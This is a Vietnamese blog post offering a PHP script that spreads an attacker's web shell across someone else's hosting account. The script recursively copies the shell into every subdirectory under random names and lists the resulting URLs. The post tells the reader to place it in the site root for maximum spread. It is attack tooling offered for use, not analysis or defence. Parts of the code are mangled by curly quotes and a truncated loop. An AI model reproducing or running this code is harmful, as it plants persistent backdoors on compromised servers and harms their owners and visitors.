Code phát tán con sell trong host người ta - Đăng Khoa Blog

Code phát tán con sell trong host người ta

                 Đặt con này cùng thư mục với con shell. Thay dòng dưới cho phù hợp:   <?php $shell = "ten_con_shell.php"...

                Đặt con này cùng thư mục với con shell.
Thay dòng dưới cho phù hợp:

 <?php $shell = "ten_con_shell.php"; ?>
Sau đó gõ địa chỉ lên trình duyệt, nó sẽ copy vào tất cả thư mục con.
Tốt nhất nên để ở thư mục gốc của site để phát tán nhiều hơn.


 <?php $shell = “ten_con_shell.php”; $host = $_SERVER['HTTP_HOST']; $root_dir = dirname(__FILE__); echo $root_dir.” “; lk(realpath(“./”)); function lk($d) { global $host; global $root_dir; global $shell; //echo “=====$d====== “; if ($handle = opendir($d)) { $dir_array = array(); while ($file = readdir($handle)) { if($file!=”.”&&$file!=”..”) { $realpath = $d.”/”.$file; if(is_dir($realpath)) $dir_array[]=$realpath; } } } for($i=0;$i { $new_name = rand(0, 1000).”.php”; $tmp = $dir_array[$i]; echo “http://”.str_replace($root_dir,$host,$tmp).”/”.$new_name.” “; copy($shell,$dir_array[$i].”\\”.$new_name); //echo $dir_array[$i].” “; } for($i=0;$i lk($dir_array[$i]); closedir($handle); }?>


Code phát tán con sell trong host người ta Reviewed by Admin Star Khoa IT on 01:16:00 Rating: 5

Không có nhận xét nào:

All Rights Reserved by Đăng Khoa Blog © 2016 - 2017
Thiết Kế Bởi Đăng Khoa

Biểu mẫu liên hệ

Tên

Email *

Thông báo *

Được tạo bởi Blogger.
Xuống cuối trang
Chat
1